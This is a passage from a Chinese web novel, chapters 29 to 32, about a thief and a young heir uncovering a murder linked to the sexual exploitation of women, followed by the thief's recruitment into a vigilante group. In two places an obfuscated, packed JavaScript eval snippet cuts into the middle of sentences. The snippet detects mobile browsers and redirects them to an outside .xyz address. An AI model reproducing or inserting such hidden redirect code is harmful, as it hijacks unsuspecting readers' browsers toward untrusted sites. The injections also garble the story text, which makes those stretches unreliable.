“上铺女孩,就是录像里那个领头的,她探过王有才的颈动脉,也听过呼吸,她的表情可以确认王有才已经死了,所以,王有才的确是被王颖砸死的。” 温雪生认真听她讲完,他没看过完整录象,不知道具体的人和事,却也在脑海里描绘出了一副令人胆战的画面。 “你刚刚说,她们每个人都动手了,是什么意思?” 南希回答:“你没见那个场景,实在有些吓人……王有才死后,别墅里的女孩不但没慌,反而很兴奋,她们每个人都捅了王有才一刀,像是在对一个已经失去生命的躯体进行……处置,或者说,泄愤……” 温雪生顿了下,目光落在电视的蓝屏上:“那么,发生这些后,我听到有人还说了什么。”他在提示南希。 南希蹙眉,极力还原画面里无声的唇语。 29. 第 29 章 “后来……那个上铺女孩抱住了王颖,但不像是安慰,她是在告诉她什么,或者说是在骗她……那个女孩不停地摇头,否定王有才还活着的可能性,她指着王有才的尸体对王颖说,人没死透,所以她们一起动手把他彻底了结了……” 南希抬起头,“她们竟然能做到这一步!为了不让王颖独自面对整件事的后果,她们故意让王颖认为自己没有杀人,认为自己砸向王有才的那一下,只是诱发女孩们集体复仇的导火索!她们把王颖拉进了自己的阵营,同时也在用这种方式保护她!” 温雪生沉默了片刻,又问:“她们为什么这么恨王有才?王有才都做了什么?” 他的声音依旧没什么起伏,却像锤子一样敲在每个关键点上。 南希眼底冰凉,一字一顿:“囚禁。以明星培训班为诱饵的欺骗,还有,性剥削。” 温雪生继续:“据我掌握的情报,王有才的培训班好像一直在扩招。” “对。这正说明他的可怕!”南希略激动,“他名气大,又有声誉,那些追梦的女孩,哪怕一开始觉得培训班不对劲,也会说服自己相信他。 “后面,她们发现上当受骗,一切就都晚了。王有才的别墅装满了监控,他极有可能用监控拍到的情.色.画面要挟她们,然后把她们都困在别墅。这或许,也是多年来没人敢举报他的一个重要原因……而且,那些女孩们早就失去正常的生活,即使举报了,也回不去了…… “但一年一年下来,她们心里难免积怨。王颖的反抗,是她们一直想做而不敢做的。正因为王颖这个初来乍到的新人,误打误撞冲破了河堤的一角,女孩们的怨愤才像洪水一样才不受控制,泛滥决堤!”南希的语速越来越快,说到最后突然顿住,恍然大悟似地沉吟,“所以,在看守所里,她们才会对王颖说’谢谢’……” 温雪生静静地听她讲完,抛出新的问题:“按这个说法,她们这是决定与王颖共同承担后果?她们知道逃不掉,所以报了警?” “对,报警的也是那个上铺女孩。”南希立刻回答,“她很冷静,处理完现场,统一完说辞后,就报警了。” 温雪生:“那为什么,后来又会牵扯到‘红发女鬼’?” 南希记起那个细高跟服务生,她并没有在这个磁带画面里看到她,也没在看守所里看到她。 此外,还有一个疑点,女孩们说起红发女鬼时,神情是非常紧张的…… 为什么?她想不通。 南希摇了摇头:“磁带只能录到那个房间的画面,至于后面的嫁祸,没有记录。可能是在报警前,她们故意布置了疑点?或者只是警方初期调查时的一个错误方向?……” 没有结论。 两人陷入短暂的沉默,只有电器低低的运行声。 温雪生终于将目光从屏幕移开,落在南希脸上。 “所以,这盘录像带是你在王颖的引导下拿到的?她让你交给警察?” 南希迎上他的目光:“小生生,你真的很聪明。我想,王颖在看守所里,有时间想明白了一切。她让我把磁带交给警察,百分百是想纠正这个错误,她要自己承担那致命一击的责任,把其他人摘出去。而她之所以犹豫到现在才交出这个线索,我想,是因为她怕磁带里的血腥画面反而成为所有人的罪证……” 还有,那里面有她被王有才强.暴的裸.漏.镜头,她那么骄傲的一个人,哪忍得了这种耻辱?交出这个证据,相当于在她的伤口上撒盐,相当于对她的公开处刑! 但是,想到这,问题又回到了原点。 王颖鼓起勇气、亲手撕开的伤疤,她到底该不该让警察看到? 南希站起身,来回踱了两步,手指无意识地相互敲着。 “如果交出这个磁带,后面女孩们的补刀,警察会不会认为她们在侮辱尸体?甚至可能被王有才的家属反咬,把那说成集体谋杀未遂后的补刀?可如果不交的话……”她停下脚步,眉头紧锁,“现有的证据链对她们非常不利,很可能真的被重判……这是个死结……” 温雪生走到她身边,低头看她,声音有些模糊:“证据本身没有立场,但使用证据的人有。交给谁,什么时候交,用什么方式交,结果可能会天差地别。”他又缓慢地走到窗边,侧过脸,灯光勾勒出他冷淡的轮廓,“选择权在你。” 南希瞪着他的背影,半晌,忽然泄了口气,有些烦躁地抓了抓头发:“这种需要权衡八百个心眼子的决定,真不适合我!”她重重倒在床上,再次四仰八叉,“烦烦烦,不想了!头疼!” * 两天后,济东晚报的社会版块刊登了一则简短消息: 涉及王有才被杀案的十一名女青年,因证据发生重大变化,被无罪释放。据悉,获释后,这些女孩已联合聘请律师,以正当防卫为由,为仍在押的嫌疑人王颖提起了上诉。 第三天,全城的媒体彻底爆炸。收音机里的整点新闻、电视屏幕下方的滚动字幕以及所有报纸的头版头条,都被同一条惊天消息占据: 本市知名大酒店经理深夜前往公安局,实名举报已故影星王某及近十名商界、演艺界管理层人士,长期参与组织胁迫年轻女性进行非法交易,并私下筹建所谓的“明星培训班”,情节极其恶劣,震惊全城。警方表示高度重视,已成立专案组彻查。持续报道中。 哔—哔哔—哔— 手机铃声盖过了车载收音机的电音。 南希左手翻开摩托罗拉前盖。 “喂?” 她把手机夹在肩膀和耳朵之间,右手熄火拉手刹,打开切诺基车门。 “我刚听完收音机新闻。”温雪生的声音从另一端传来,听不出任何情绪。 “嗯哼,巧了,我也刚听完。”南希下车。 “我这有点内部消息。”温雪生继续说,语气像是随口一提,“司法系统里,那位以严厉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16415846|181645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和公正出名的女领导,就是去年主导清查方局长贪污案的那个……” “啊,怎么了?”南希关车门,锁车。 温雪生:“昨天,她加班到很晚,有人趁她去洗手间的功夫,在她办公桌上放了盒没有标签的录像带。” 南希换了个姿势,用右手拿手机:“小生生,我还有事,你直接说重点。” “好。我听说这位领导,尤其是对涉及女性受害者的案件,处理方式非常谨慎,格外注重保护当事人的隐私。”温雪生仍然慢条斯理,“你选择她,是出于这个考虑?” “哈哈,你想什么呢?”南希的声音带着点诧异,仿佛对方说了句废话,“什么我选择她?什么考虑?我都听不懂,好了好了,挂了挂了,我真有事。” “等等!” “又怎么了?” 电话那头沉默了两秒,温雪生没有就刚才的问题反驳。 “我还听说,那些女孩被释放的时候,景天大酒店的黄经理和一个穿着保洁工装、帽檐压得很低的阿姨一起去接的人。之后,她们还一起去探望了王颖。再后来,就是女孩们集体找律师推动上诉,而那位黄经理,转头就去公安局报了案。” “哦?”南希一步步往前走,语气里有恰到好处的惊讶,“原来背后还有这些事,看来那些女孩们很勇敢呀。还有那个经理……总算没继续令自己失望。” “所以,”温雪生的声音透过听筒,清晰地抛来最后一个问题,“这整个过程中,你在哪里?” “我?”南希微微提高声音,坦荡,理直气壮,甚至还有一丝抱怨,“我是个神偷诶,大名鼎鼎的红发女鬼!我很忙的好吗?最近事儿多,我都快累散架了,干完活当然就回家呆着补觉去了。小生生,真不说了,你看看几点了,我还没吃饭呢,饿得前胸贴后背,现在要去吃好吃的啦,拜拜~” 她干脆利落地挂了电话。 她的眼前,浮现出四个红底黑字的大招牌——开运全羊馆。 招牌在夕阳下闪着油光。 南希推开全羊馆的玻璃门,推开厚重的挡风帘,走了进去。 店里空荡荡的,没有服务员,也没有其他顾客,只有最里面靠墙的一张桌子旁,坐着两个人。 一个短发,穿着黑色皮衣,身形挺拔,正专注地掰弄着手里的金属钥匙扣。另一个,一身惹眼的红棉衣,衬得肤色极白,指尖夹着一根细长的女士香烟。 南希的出现让三人的目光在空中撞在一起。 空气似乎凝滞了几秒,气氛微妙。 南希嘴角上挑,视线扫过空空的柜台,仿佛没看到那俩人一样。然后她径直走到一张干净的桌子前坐下,屈指敲了敲桌面。 “老板?在吗?”她声音清亮,“来碗羊杂汤,多放辣。” 咯哒咯哒—— 红衣女人站起身,高跟鞋敲着水泥地面,不紧不慢地走过来:“小姑娘,今天不营业。” 30. 第 30 章 咯哒咯哒—— 红衣女人站起身,高跟鞋敲着水泥地面,不紧不慢地走过来:“小姑娘,今天不营业。” 南希上下打量她,眼睛亮了一下:“呦,果然是你。老板娘,景天大酒店的细高跟服务生,骑摩托甩掉我们的神秘车手,还真的全是同一个人呢。”她歪了下头,“上次对不住啊,下手重了点,把你弄晕了,没事吧?” 老板娘摆摆手,脸上没什么表情:“技不如人,没什么好说的,晕一会儿就醒了。” “那就好。我说,你们为什么不营业?我也要晕了,饿晕的。”南希揉揉肚子,表情委屈。 老板娘:“我们猜到你大概会找来,索性歇业一天等你,你信吗?” 南希挑眉:“哦?信。” 老板娘没想到她回答得这么干脆:“不过你要是真想吃东西,我可以亲自给你下厨,我手艺还不错。” “别。”南希拒绝,“我怕你下毒,你们这儿套路忒深。” 谁知道你会往饭里会加什么料。 “不会。”老板娘居然笑了一下,很淡,“我欣赏你,对真正欣赏的人,我不会使用这种下三滥的手段。” “欣赏我?”南希像是听到了天大的笑话,“欣赏我会三番五次给我下套?抢我东西?还把那老色鬼的死栽赃到我头上?让警察通缉我?”她压下那点被挑起的火气,停了几秒,继续,“算了,先说正事,我这次来,为两件事。” 她的手伸进剑桥包,掏出一个用旧报纸随意包着的东西,递过去:“第一,物归原主。这是上次从你那儿顺走的白玉佛。” 老板娘接过东西,手指刚触到报纸边缘,南希就笑了起来:“哈哈,假的!真的我早交给该交的人了。这就是块我随便找来的破玻璃,怎么样,手感像不像?” 老板娘捏着那假货,在手里掂了掂,非但没恼,眼里反而涌上一股兴致:“有点意思。那第二件事儿是……?”她随手把假货扔在旁边桌上,发出哐当一声响。 “报仇。”南希收起笑,站起身。 她与老板娘一般高,便与老板娘的眼睛平视,“你们一直找茬,没完没了,这笔账,今天得算清楚。” 老板娘装糊涂:“找茬?哪有的事?你多心了。” 南希没理她,自顾自地说下去:“王有才死的那个晚上,你打坏了别墅里的监控器,然后就没了影儿。我猜,你是后来混进那批女孩的,所以你跟她们心不齐,一直躲在后面。后来,女孩们决定一起自首扛下那件事,你便跳出来装好人,说可以扮成‘红发女鬼’帮她们脱身,让她们指认我,你还在附近晃悠,故意留下‘红发女鬼’出现的痕迹。这样,你既不用跟她们一起坐牢,又能把锅彻底甩出去,一石二鸟。 “花姐那么聪明一个人,肯定看出你想跑,就顺水推舟放你走了。这也就对得上所有的疑点——为什么监控里有你,但看守所和摄像机里没有你,而且女孩们一提起‘红发女鬼’就紧张得要命。她们是怕不小心把你扯出来,对吧?” 老板娘安静地听着,脸上没什么波澜,既不承认也不反驳,只是嘴角噙着一丝若有似无的笑,欣赏的神色几乎毫不掩饰。 南希被她盯得浑身不得劲,硬着头皮继续说:“我就不明白了,我跟你,跟你们,到底有什么仇、什么怨?你们要这么处心积虑地害我?我们干这一行的,最怕的就是暗地里的仇人,今天要是不把这事解决了,我怕是一天安稳觉都没得睡了。” “唉,你错了。”老板娘终于开口,双腿交叉,斜靠在餐桌上,“实话跟你说,监控器不是我要打的,是花姐让我打的。那里面记录了太多见不得光的东西,很多女孩宁可死,也不愿意自己那些不堪的画面被别人看见,警察也不行。”她顿了一下,目光灼灼地锁住南希,“至于为什么选择嫁祸你,因为我们真的真的,太喜欢你了,红发女鬼~” 这话倒不假,她对南希的喜爱之情几乎要溢出来了。 南希哪能感受不到,可她不舒服,她心里发毛,她退了一步,禁不住打了个哆嗦。 这时,那个一直在摆弄钥匙扣的皮衣男走了过来。他身形挺拔,眉眼在灯光下显得格外深邃。 “是我让她这么做的。”他看向南希,用那张过分帅气的脸,说着近乎暧昧的话,“红发女鬼,我想见你,只能用这种方法,才能逼你现身。” 话音撩人心弦,南希的心跳不争气地漏跳了一拍,脑子嗡了一声。 要命! 她想起之前自己变着花儿地接近他,可怎么接近撩拨,他都冷得像块冰……要是早知道张笑远对“红发女鬼”感兴趣,她还用得着那么费劲吗? 南希暗自磨牙,面上却挤出个笑:“想找我早说啊!是你的话,刀山火海……呃,赴约肯定没问题!” 张笑远笑了:“是吗?那很好。我想拉你入伙。我们一起,干点儿真正的大事,帮该帮的人,罚该罚的人,掀了那些表面光鲜、底下烂透了的摊子。” 嗯……啥? 南希的眼睛眨巴了好几下:“……啊?入伙?” 这事情的展开,她完全没料到。 张笑远见南希疑惑又警惕,向前一步,神情真诚:“这间店是我们的据点。”他抬手示意周围,“老板娘孙红,她是我师姐,负责看守这里。” 南希看了眼旁边抱臂而立的红衣老板娘:“呃……所以?” “所以我们早就注意到你了。”张笑远目光柔和,“‘红发女鬼’的名声,在济东流传不是一天两天了,你很有趣,专挑那些为富不仁、暗地里龌龊不堪的家伙下手,行事风格又……又很洒脱,我很欣赏你。” 南希不轻易相信任何人,大帅哥也不行,虽然现在,她心里已经美成了花儿。 她故意拉长语调:“哦——欣赏我?还是刚才的问题,欣赏我还给我设套?” 张笑远严肃起来:“因为我们要做的事,比你想象的更复杂,也更危险,不能有半点闪失。我们需要的是绝对可靠的同伴,不能仅凭欣赏就拉一个陌生人入伙。我们必须对你进行测试。” “测 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16426595|181645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 试?”南希重复他的话,最近发生的事在脑子里飞过,她好像明白了什么,“所以王有才案……” “那是第一试,试你的品性。”张笑远打断她,眼神锐利如刀,“师姐混在那些女孩里,原本只是为了搜集王有才及其同伙的罪证。那晚的变故是意外,但也是最好的试金石。我们很清楚那卷录像带的存在以及它的内容,我们看到你,明明身负‘盗宝’任务,却选择去救那些与你无关的女孩,甚至不惜暴露自己,卷入致命的麻烦里。” 旁边的孙红轻笑一声,插话:“说实话,挺蠢的。”视线转向南希,“不过嘛,这世道,自保都很艰难,肯为不相干的人冒险的蠢人,不多了。” 南希抿抿唇,没接话。 “品性过关,但还不够。”张笑远继续,“我们需要的是能并肩作战的利刃,而不是一个单纯的‘好人’。所以有了第二次测试,试你的能力。” 他的目光扫过这间普通的馆子:“这里看似寻常,实则眼线遍布,戒备森严,白玉佛是我们故意放出去的饵。” 南希立刻想起之前的几次交锋,恍然大悟,原来他们这是请君入瓮! 张笑远:“看守所那次,更证明了你的身手和应变能力,你潜入看守所就像进入无人之境,我想,这个形容得并不夸张。后来,你还打败了师姐,从她手里拿走了真正的白玉佛。所有的一切都远超我的预期。” 孙红似乎有些不服气地轻哼了下,但没反驳。 “两次测试,你都完美通过,”张笑远总结,“所以,现在我正式邀请你,加入我们。我们需要的,正是你这样的人——有底线,有身手,更有打破常规的胆量和脑子。我们一起,可以做的远不止偷几件宝贝救济穷人那么简单,我们要挖掉的是这个城市光鲜表皮下,那些烂疮和毒脓!” 张笑远向南希伸出手,眼神异常郑重。 他的话讲得很有信念感,听起来挺热血,蓝图描绘的也很美丽,人也长得很帅…… 可是…… 南希尽量不让自己翻白眼,心想这个大帅哥是不是看热血漫画看多了,脑子坏掉了? 她尬声回:“那个,我其实……嗯……有组织了。”说话间,她眼神飘忽,试图委婉拒绝,目光却忍不住一次又一次溜回张笑远脸上。 可惜了,确实长得帅…… “你不诚实。”张笑远拆穿她,离她更近一步,继续讲述自己波澜壮阔的伟大梦想,好像这样就能用理想主义说服她似的。 他步步紧逼,南希步步后退。 就在这时,后厨的帘子“哗啦”一声被掀开,一个慵懒的声音插了进来:“师弟,你就别白费口舌了,我早就说过,他们那边的人,根深蒂固,绝不可能加入我们。” 南希闻声回头,身体顿时僵住,脸上的血色也一下子褪了个干净。 什么情况? 两个?! 眼前的女人穿着普通的棉布衣,围裙上还沾着点面粉,但那张脸,那身形,竟然和旁边气场十足的老板娘孙红,一模一样! 31. 第 31 章 南希拧了自己大腿一把。 疼。 不是梦。 “你,你们……”她感觉舌头有点打结,脑子嗡嗡响,像被塞进了一群蜜蜂。 电光石火间,一些被忽略的细节窜回脑海,清晰得骇人。 之前她就觉得奇怪,这个老板娘似乎无所不在。细高跟服务生是她,摩托骑手是她,扮演红发女鬼的也是她……精力好得简直不像话人。 一开始,第六感告诉她,张笑远的小团伙有三个人。但后来,她亲眼见到了老板娘,又觉得或许真是她一人分饰多角,虽然心底那丝违和感始终没散。 现在,这张与老板娘一模一样的脸,让所有零碎的疑惑有了答案: 不是一个人精力过剩,而是根本就有两个人! 她最初的猜测是对的! 旁边,那个系围裙的女人见南希一脸震惊,开口:“别紧张,这不是灵异事件。”她顿了顿,语气像是在介绍今天的天气,“我们就是普普通通的双胞胎而已。” 老板娘孙红放松地抬了抬下巴:“嗯哼,我是姐姐,名字你知道了。” 系围裙的女人:“我是妹妹,孙紫。” 南希还是说不出话,脸上颜色变幻莫测。 张笑远清了清喉咙,打破短暂的安静:“不好意思,刚才我没说完,我师姐,其实有两个。之前和你交过手的,也是她们两个。我们之前都在龙虎山跟着师父学艺,下山后,由我为首,组建了现在的团队,团队名为‘破晓’。” 他扫过南希,又补充说,“不算你的话,目前‘破晓’共有六人,除了你见到的我们三个,另外三人在外执行任务,以后有机会,可以介绍你认识。” 南希嘴角抽搐。 学艺?龙虎山?师姐师弟?破晓团队? 她听着这些词,只觉得越来越离谱,像是一下子闯进了某个武侠剧或者奇幻小说。 疯了,真是疯了! 之前那点被帅哥邀请的好奇感,瞬间被巨大的不真实感淹没。 这浑水太深、太怪,她可一点都不想趟! “那个……哈哈哈……”她干笑着,声音有点飘,眼珠快速瞟向门口,脚下也悄悄挪了半步,“我突然想起来,我男朋友给我做了饭,老母鸡炖蘑菇,大补!他脾气不太好,我要是去晚了,他得跟我急!那个,再见!各位英雄好汉,不用送了!” 话讲得快,像机关枪扫射,她几乎没给那三人反应的时间,就像受惊的兔子一样转过身,拉开门冲了出去。 “砰”地一声,玻璃门关上了,南希的脚步声迅速消失。 全羊馆陷入寂静。 孙紫用抹布擦擦手,漫不经心:“笑远,你不去追?” 她的眼神像是在询问一件无关紧要的公事。 旁边的孙红嗤笑一声,玩味地瞥张笑远:“你看他什么时候主动追过女人?都是别人追着他跑。” “这个不一样,我看得出来。”孙紫的视线也落在张笑远身上,“你不是惦记她很久了吗?费这么大周折,怎么关键时刻放手了?” 张笑远脸上没什么表情,看不出喜怒。他望向那扇仿佛还残留着南希惊慌气息的玻璃门,声音笃定:“她会回来的。” * 南希几乎是一路跑着冲回车上的。 她手忙脚乱地发动引擎,一脚油门踩下,切诺基窜出去老远。直到车子跑了好几条街,那种荒诞的不真实感还裹挟着她。 她用力摇摇头,试图把匪夷所思的信息甩出去。 她想,一定是张笑远联合双胞胎在耍她。 想着想着,脑子里突然冒出一真一假两块白玉佛。 她便又想,经这么一出,白玉佛该不会也有什么问题吧? 越想越不安,她立刻减缓车速,靠边停下,掏出摩托罗拉,拨通了刘总的号码。 “是我。”她尽量让声音听起来平常,“前几天锦华典当关门了,今天呢?那个小王回来了吧?” “回来了回来了,王主管说家里有点儿事,刚处理完。”刘总回答得很快,背景音有点杂,“下午我帮你把白玉佛交过去了。” “哦……那个人,没说什么吧?” 手机被南希握得很紧。 刘总:“没有啊,能说什么?你放心,一切都很顺利!王主管说你改天有空去找他拿报酬就行。” 南希绷紧的肩膀松下来一点。 看来东西没问题,是真的…… 或许真是自己想多了…… 她挂断电话,控制住凌乱的思绪,重新发动车子,调转车头,朝锦华典当的方向开去。 这一趟,一是为了拿报酬。 二是,上次交蓝宝石的时候,小王明确承诺,完成强制任务后,就会把跟她身世有关的信息给她。这件事,像根小小的刺,扎在她心里很久了。 切诺基很快抵达锦华典当所在的老街。 路边堆着垃圾,略显破败。 南希远远望去,典当行拉着防盗铁门,门口也没亮灯。 她心里疑惑,停好车下来,走到旁边一个摆摊卖水果的大妈面前,问:“阿姨,典当行这是关门了吗?” 大妈正嗑着瓜子,抬头瞥了一眼,又低下头继续嗑:“哎呦,不巧啊妹妹,刚关门,也就五分钟前吧,你要是早点来就好了。” 南希皱眉:“这么早?天还没黑透呢。” “人家典当行和银行差不多,要是黑透了再关门,那还成?”大妈一副见怪不怪的样子。 南希想了想,认为有道理,决定明天再来,早点儿来。 第二天,她提前俩小时到达,没想到,锦华典当依旧大门紧锁,防盗铁门冷冰冰地盖着里面的玻璃门。 卖水果的大妈看到她,主动开口:“诶,妹妹你又来啦?唉,小王又是刚走没多久,我看表了,差不多又是五分钟吧,你说巧不巧?” 巧,巧的诡异。 南希心里的疑惑像藤蔓一样开始滋生。 第三天,她发了狠,特意起了个大早,九点整就准时赶到锦华典当门口。 这个时间,按理说该开门营业了。 结果,铁将军把门,典当行依旧被锁得严严实实。 卖水果的大妈似乎都有些不好意思了:“这个……妹妹,真是,又是刚走五分钟……我这刚出摊就看到小王锁门走了……” 南希看看紧闭的大门,又看看腕表上刚刚指向九点的时针,一股混着不安的火气猛地窜上来,几乎顶到了她嗓子口。 “阿姨,”她努力压抑火气,“小王今天还回来吗?” “哎,这我可说不好喽,他走的时候又没跟我讲这个。”大妈摇头。 …… 南希倔脾气发作,索性不走了,回到车里,抱着手臂,死死盯着锦华典当,从阳光熹微等到日头升高,再到光线斜照,最后太阳西落,那扇防盗门就像被焊死了一样,再也没被拉开过。 期间,有几个零散的路人过来张望,又失望地离开。 南希心里的不安像滚雪球一样越滚越大。 她憋着一肚子怒火和疑虑,再次掏出手机,打给刘总。 电话一接通,她没等对方“歪”完就劈头盖脸地问过去:“锦华典当最近为什么总关门?这都第三天了!玩我呢?!” 刘总愣了下,也冲电话喊:“我怎么知道?!又不是我让关的!你有火也别冲我发啊!” “你就没有那个小王的联系电话?或者家庭住址?总有个能找到他的方式吧!”南希压火追问。 “小张,你开什么玩笑?”刘总诧异,“这么多年了,规矩你不懂?不管是做任务还是领报酬,只能人到典当行,面对面交接,绝不能电话联系,你又不是新人,还要我重复这些?” 这段怒气冲冲的话后,电话里隐隐有小女孩叫爸爸的声音。 “诶诶,我这就过去。”刘总的声音有些远,他语气平和下来 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那种像浮萍一样漂泊的不安感,再次牢牢攫住了她,比以往任何一次都要强烈、真实。 她看起来没心没肺,好像什么都不在乎,可只有她自己知道,找不到根的浮萍,活得有多么恐慌和小心翼翼。 天色彻底黑透。 微弱的车灯没在黑暗中,像两只无助的眼睛。 南希神情恍惚地开动车子,各种纷杂的念头肆意碰撞着。 突然,一个黑魆魆的身影,毫无征兆地从路边的阴影里冲出,横穿了整条马路! 南希猛踩刹车。 轮胎摩擦地面,发出刺耳的尖叫。 切诺基在离那个身影仅剩几厘米的地方惊险停住。 南希整个人向前一倾,又被安全带狠狠拉回,重重撞在椅背上。 她大口喘粗气,心脏跳得像要炸开,冷汗湿透了后背的秋衣。 在车灯的照射下,她看清了那个差点被切诺基撞上的人。 是个脏兮兮的小乞丐,女孩,七八岁模样。 女孩也被这突如其来的变故吓傻了。她忘了哭,也忘了跑,一张小脸满是惊恐,呆呆地望着车里的南希。 南希缓了好一会儿,才颤抖着推门下车。 她走到小女孩面前,蹲下身,声音沙哑:“没事了,别怕……你,没被撞着吧?有没有哪里痛?” 小女孩瑟缩了一下,眼里终于涌上泪花。 南希在口袋里摸了摸,摸出一颗之前顺手放进去的草莓糖:“别哭别哭,给你糖吃,甜的。以后过马路一定要左右看,确定没车了再走,知道吗?” 小女孩怯生生地看看她,又看看糖,犹豫了一下,伸出小黑手,飞快地抓过糖,像怕她反悔一样,迅速转身跑远了。 小小的、瘦弱的背影很快消失在路灯照不到的街口。 南希杵在原地,久久地望着那孩子消失的方向,仿佛透过时光,看到了很多年前的自己。 大概也是在这样的季节,这样的夜晚,也有一个人,给了她一块糖。 那块糖的甜味她至今还记得。 但那个人没有让她走,而是牵着她,带她加入组织,给她遮风挡雨的屋檐,为她做喷香的饭菜,教她读书识字,训练她各种身体技能…… 她很争气,学什么都快,似乎只有这样,才能对抗身体里无处不在的、被遗弃的恐惧。 她已经很久很久没见过那个带她入门,给她第一块糖的人了。 张叔…… 夜风吹过。 她仰起头,城市的霓虹灯照亮不了深邃的夜空。 她忽然感受到一种从骨髓里透出来的疲惫。 太累了。 不知道身世就不知道吧…… 她深吸一口冰冷的空气,然后,做了一个决定。 32. 第 32 章 三个穿着白大褂的医生,提着仪器箱走进温沙城堡,他们胸前都印着“卢氏”logo。 李大发像往常一样,引他们上楼梯,然后穿越两列盆栽梅花,轻手敲温雪生的房门:“少爷,例行体检。” 没一会儿,他收到一个沉闷的“进”字。然后他抬手推门,示意医生进门,却在他们真得要进去时“诶”了一声,似乎想说些什么。 医生们疑惑地看他。 他犹豫着,终是没说出口。 医生们便进了房间。 这三位中,有两位是温雪生熟悉的老医生,剩下的那位是新来的女博士,戴黑框眼镜,一副学生气。 温雪生也只见过一次。 然而,不管是老的,还是新的,都在看到他的刹那愣在了原地。 女博士反应最大,她手里的记录板差点滑落,脸颊以肉眼可见的速度泛红,镜片后的眼睛睁得滚圆,目光像是粘在了窗边那修长的身影上,怎么都移不开了。 几天前,她第一次到温沙城堡,那个传说中的大少爷,脸上乱七八糟,像个不愿见光的吸血鬼。而现在,眼前的男人面容清晰,除了左眼遮在眼罩下,剩下的五官格外精致。 如果不是他皱着眉头,带着一股阴郁的不耐烦,她怕是没法把他和记忆里的丑八怪联系在一起。 太帅了,比明星都帅…… “可以开始了吗?”温雪生盯着他们,声音很冷。 这一早上,他已经被各种震惊、探究、甚至痴迷的目光弄得心烦意乱。 为首的刘医生最先回过神,咳嗽一声,暗暗拽了女博士一把,示意她马上开始工作。 女博士赶紧低头准备检查仪器。 体检便在一种微妙的寂静中开始了。 量血压、测心率、抽血、听诊心肺……一系列程序完成得很快。 检查结束后,刘医生额角微微见汗,他走到书桌前坐下,准备填写病历,笔尖悬在空中很久,终于忍不住开口:“少爷,您的身体各项指标都很好,还有您的脸,没想到您竟然长得……” 他欲言又止。 温雪生知道,这句没出口的话是“这么英俊”。 他听李管事,王姐,孙老太等太多人说过太多次。 他瞥了眼镜子,里面的男人的确英俊得过了头。 但他并不为此感到兴奋。 他挥手示意其他两位医生离开房间,然后对刘医生说:“从刚刚的检查中,你能看出我的脸怎么好的吗?” “这个……”刘医生笔尖一顿,“那个……暂时看不出来。少爷,请允许我问您几个问题。”他见温雪生没出声,知道那是对他的默许,便问道:“您最近吃过什么药吗?” 温雪生摇头:“和往常一样,只喝了你配的安神口服液。” “不应该……”刘医生沉吟,视线不经意间扫到温雪生的手臂,“少爷,您受伤了?快让我看看。” 温雪生躲闪,抖顺微蜷的袖子,盖住手腕。 “没事,不小心磕到了而已。” 但那不像磕伤。 伤痕一圈又一圈,触目惊心。 刘医生没拆穿,而是抬头看他,这才发现他的脖颈处也有伤痕,虽然衣领高高竖着,却依然藏不住那片红。 刘医生用钢笔推了推鼻梁上的眼镜:“那么,少爷,您最近有没有遇到什么奇怪的事?” 温雪生卷曲的睫毛颤颤抖动,声音里有抑制不住的虚软:“……我好像撞鬼了……” 记忆又回到昨天晚上。 那个红发女鬼从窗户闯入他的房间,把他的手、腿、脚……绑了起来,嘴堵起来……然后扑在他身上,将他…… 他不想再想,更不想说。 “没有其他的了。” “了解了。”笔尖在纸上滑动。 大概过了两分钟,刘医生合上写满字的病历本,抬起头。 镜片反光,遮挡着他的眼。 “少爷,从现代医学角度,这种现象很难解释。不过,从我目前掌握的情况来看,既然您的这种……特殊‘遭遇’,对您产生了如此积极的生理改变,那么,可能的话,希望您能定期跟那只鬼见面。一月一次,不,一礼拜一次……当然,如果能一天一次就更好了。” “什,什么?”温雪生看向他,身上的阴冷气弱了些,“每天见?” 刘医生被他看得后颈发凉,但还是硬着头皮,试图维持专业形象:“呃,是……理论上,持续、稳定的良性刺激,有助于身体机能维持在新的平衡点……” “知道了。”温雪生打断他,厌烦地摆了摆手,“检查完了就请回吧,帮我把李管事叫进来。” 接下来的一分钟,刘医生离开,李大发进门。 “去查个人。” 温雪生头也不抬,直接报出一个名字,“演员王有才。我要知道,最近老头儿的地盘,有没有这个人的预约。” 半个小时后,李大发再次进门:“少爷,查到了!王有才今天就有预约,晚上八点,岳阳路的碧海阁,房间是海上天堂。”说着,他的脸上掠过一丝迟疑,“只是……少爷,碧海阁这地方,表面是会员制的高级俱乐部,接待名流,实际里面乱得很,门道非常深,各种见不得光的交易都有,老大的人平时都绕着走……我觉得,您最好也别沾上这地儿……” 温雪生的眼神沉下来:“你在管我的事?” 李大发意识到说错话,立马低下头:“没,没……我多嘴了。” “滚。” “诶,诶……” 李大发滚后,一股莫名的烦躁萦绕在温雪生心头。 他在房间里来回踱步,一遍又一遍。这样大概过了五六分钟,他走到床头柜,打开里面的暗格,从中取出一封信。 目光扫过潦草却俊秀的字迹,落在最下面那串电话号码上。 他又拿着信走到书桌,提起话筒,拨号。 电话响了很久才被接起,那边传来漫不经心的声音:“喂,请问哪位?” 温雪生感到心脏在“怦怦”的跳动,嗓子失了声。 “喂?请说话?喂?”对方顿了一下,“是温大少吗?” 一阵轻咳。 温雪生确认嗓子没问题后,才沙哑地回:“……嗯,是我……” 